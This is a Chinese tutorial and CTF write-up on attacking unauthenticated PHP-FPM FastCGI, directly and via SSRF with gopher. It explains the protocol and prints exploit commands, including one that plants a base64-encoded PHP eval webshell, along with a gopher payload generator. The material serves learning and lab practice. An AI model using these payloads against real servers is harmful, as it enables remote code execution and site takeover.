大家好,又见面了,我是你们的朋友全栈君。
SSRF漏洞之FastCGI利用篇
SSRF–(Server-side Request Forge, 服务端请求伪造)
定义:由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务
SSRF漏洞思维导图如下,本篇主要介绍利用SSRF漏洞攻击FastCGI
0x00.PHP-FPM FastCGI 未授权利用
首先我们使用Vulhub漏洞靶场快速搭建漏洞环境进行复现,感受一波漏洞的危害
# 保证实验vps具有git、docker、pip、docker-compose、python基础环境
## 下载vulhub靶场资源
git clone https://github.com/vulhub/vulhub.git
## 找到fpm Fastcgi目录,一键搭建漏洞环境
docker-compose up -d
环境搭建完成,如下图可以看到,FPM Fastcgi未授权漏洞 docker镜像正在运行,且监听在本地9000端口
执行P牛漏洞EXP,Exp见 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
python3 fpm.py 118.24.127.188 /usr/local/lib/php/PEAR.php -c "<?php echo `id`; ?>"
# 其中/usr/local/lib/php/PEAR.php 为安装php时默认自带的php文件
成功执行构造的任意PHP代码,拿到vps运行FPM的Web权限
看到这里,相比同学们都很好奇为何只是开启9000端口就造成任意命令执行了呢?
啥是PHP-FPM,FastCGI又是啥(大佬请略过0x01章节~)
接下来,我们一起探究漏洞的原理和具体的利用过程吧~
0x01.CGI、FastCGI、PHP-FPM
我们知道,在网站架构中,Web Server(如Nginx)只是内容的分发者
当客户端请求的是index.php,根据配置文件Web Server辨别不是静态文件,此时就需要去找 PHP解析器来处理
当Web Server收到 index.php 这个请求后,会启动对应的CGI 程序,也就是PHP解析器
接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以CGI规范的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程
这其中,引出如下概念:
- CGI:是 Web Server 与 Web Application 之间数据交换的一种协议
- **FastCGI:**同 CGI,是一种通信协议,对比 CGI 提升了5倍以上性能
- **PHP-CGI:**是 PHP(Web Application)对 Web Server 提供的 CGI 协议的接口程序
- **PHP-FPM:**是 PHP(Web Application)对 Web Server 提供的 FastCGI 协议的接口程序,额外还提供了相对智能的任务管理功能
PHP默认提供了很多种SAPI(服务器端应用编程端口),常见的提供给apache和nginx的php5_module
、CGI
、FastCGI
,给IIS的ISAPI
,以及Shell的CLI
经过不断的技术升级,目前搭建高性能的PHP Web服务器,最佳的方式是Apache/Nginx + FastCGI + **PHP-FPM(PHP-CGI)**方式
FastCGI工作原理
Web 服务器启动时载入FastCGI进程管理器(PHP-CGI或者PHP-FPM)
- FastCGI 进程管理器自身初始化,启动多个 CGI 解释器进程,并等待来自 Web Server 的连接
- Web 服务器与 FastCGI 进程管理器进行 Socket 通信,选择一个CGI 解释器进程,通过 FastCGI 协议发送 CGI 环境变量和标准输入数据给 这个CGI 解释器进程
- CGI 解释器进程完成处理后将标准输出和错误信息从同一连接返回 Web 服务器
- CGI 解释器进程接着等待并处理来自 Web 服务器的下一个连接
由此,PHP-FPM 就是一个FastCGI进程管理器,是对于 FastCGI 协议的具体实现,它负责管理一个进程池,来处理来自Web服务器的请求。
PHP-FPM通信方式
在PHP使用FastCGI连接模式的情况下,Web服务器中间件如Nginx和PHP-FPM之间的通信方式又分为两种,TCP模式和套接字(unix socket)模式
- TCP模式即是PHP-FPM进程会监听本机上的一个端口(默认为9000),然后Nginx会把客户端请求数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程解析
- Unix套接字模式是Unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。上述原理图中提到的Socket 通信即为此模式
配合文章开头的漏洞演示来看,我们利用SSRF漏洞攻击FastCGI是在TCP模式下进行
0x02.FastCGI攻击原理
FastCGI协议
HTTP协议是浏览器和服务器中间件进行数据交换的协议,类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端(如PHP-FPM)进行数据交换的协议
Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端(PHP-FPM),语言后端(PHP-FPM)解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件
record的头固定8个字节,body是由头中的contentLength指定,其结构如下:
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;
/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;
语言端(PHP-FPM)解析了FastCGI头以后,拿到
contentLength
,然后再在TCP流里读取大小等于contentLength
的数据,这就是body体Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用不需要该Padding的时候,将其长度设置为0即可
可见,一个FastCGI record结构最大支持的body大小是
2^16
,也就是65536字节
其中,header中的type
代表本次record的类型,所有值及具体含义如下
服务器中间件和后端语言(PHP-FPM)通信,第一个数据包就是type
为1的record,后续互相交流,发送type
为4、5、6、7的record,结束时发送type
为2、3的record
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2
,如果web目录是/var/www/html
,那么服务器中间件(Nginx)会将这个请求变成如下key-value对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组其实就是PHP中$_SERVER
数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER
数组,也是告诉FPM:“我要执行哪个PHP文件”
当后端语言(PHP-FPM)拿到由Nginx发过来的FastCGI数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME
的值指向的PHP文件,也就是/var/www/html/index.php
漏洞原理
到这里,PHP-FPM FastCGI未授权访问漏洞也就呼之欲出了。PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造FastCGI协议,和FPM进行通信。
此时,我们自行构造SCRIPT_FILENAME
的值,就可以控制PHP-FPM执行任意后缀文件,如/etc/passwd
但是,在PHP5.3.9之后,FPM默认配置中增加了security.limit_extensions
选项
; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7
其限定了只有某些后缀的文件允许被FPM执行,默认是.php
。
因此,想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。已存在的PHP文件名获得有两种方法:
- 通过系统的信息收集、爆破、报错获得某个PHP文件名及其路径
- 找安装PHP后默认存在的PHP文件,如
/usr/local/lib/php/PEAR.php
现在,拿到了文件名,我们能控制SCRIPT_FILENAME
,却只能执行目标服务器上的文件,并不能执行我们想要执行的任意代码,但我们可以通过构造type
值为4的record,也就是设置向PHP-FPM传递的环境变量来达到任意代码执行的目的
PHP.INI中有两个有趣的配置项,auto_prepend_file
和auto_append_file
auto_prepend_file
是告诉PHP,在执行目标文件之前,先包含auto_prepend_file
中指定的文件auto_append_file
是告诉PHP,在执行完成目标文件后,包含auto_append_file
指向的文件
若我们设置auto_prepend_file
为php://input
(allow_url_include=on
),那么就等于在执行任何PHP文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在FastCGI协议 Body中,它们就能被执行了
那么我们如何设置PHP.INI中auto_prepend_file
的值呢?
我们可以通过PHP-FPM的两个环境变量,PHP_VALUE
PHP_ADMIN_VALUE
来设置PHP.INI
最终,我们设置向PHP-FPM传递的环境变量:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
最后两行设置auto_prepend_file = php://input
且allow_url_include = On
,然后将我们需要执行的代码放在Body中,即可执行任意代码(见文章开头漏洞复现)
0x03.SSRF攻击本地的PHP-FPM
生产环境中,除非测试或者图方便之外,PHP-FPM是极少开放在公网的,绝大部分都是启动在本地即监听127.0.0.1:9000地址,这种情况下,如果服务器端存在SSRF漏洞,那么我们就可以借助SSRF来攻击本地PHP-FPM服务,达到任意代码执行的效果
我们通过CTFHub中的一道SSRF FastCGI协议题目具体进行利用
根据前面几篇SSRF系列的文章,我们对gopher协议已经有所了解
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
当后接TCP数据流为我们构造的恶意FastCGI协议报文,即可执行恶意命令
根据上一章节的FastCGI攻击原理分析,我们需要满足三个条件:
- PHP版本要高于5.3.3,才能动态修改PHP.INI配置文件(题目环境已满足)
- 知道题目环境中的一个PHP文件的绝对路径
- PHP-FPM监听在本机9000端口(题目环境已满足)
打开题目链接,我们访问index.php
会被重定向,其他任意PHP文件都返回404,说明存在index.php
- PHP文件的绝对路径:
/var/www/html/index.php
方法一
所需条件都满足,我们利用题目附件中P牛的EXP:fpm.php
我们在本机监听9000端口,然后运行fpm.py
将恶意FastCGI协议报文数据打在本机的9000端口,保存为exp.txt
# 监听9000端口
nc -lvvp 9000 > exp.txt
# 运行`fpm.py`
python3 fpm.py 127.0.0.1 /var/www/html/index.php -c "<?php system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk 7Pz4 | base64 -d > /var/www/html/shel1.php');die('-----made by pniu----- ');?>"
编写exp_urlcode.py
将exp.txt进行urlencode编码并输出
from urllib import quote
with open('exp.txt') as f:
pld = f.read()
print "gopher://127.0.0.1:9000/_" + quote(pld)
然后进行二次编码后将最终的payload内容放到?url=后面发送过去(这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码)
使用中国蚁剑成功连接webshell,在其根目录下找到flag
拿到flag
方法二
gopher工具生成payload
与方法一一样,将payload二次编码后发送,然后中国蚁剑成功连接webshell,在其根目录下找到flag
0x04.总结
通过对PHP-FPM FastCGI协议的学习,漏洞原理的具体利用,得出FastCGI 的利用大多数还是配合SSRF漏洞才能造成巨大危害的结论。同时,也加深了PHP与Web Server之间通信的具体了解与认识
参考
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
PHP 进阶之路 – 深入理解 FastCGI 协议以及在 PHP 中的实现
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/159799.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...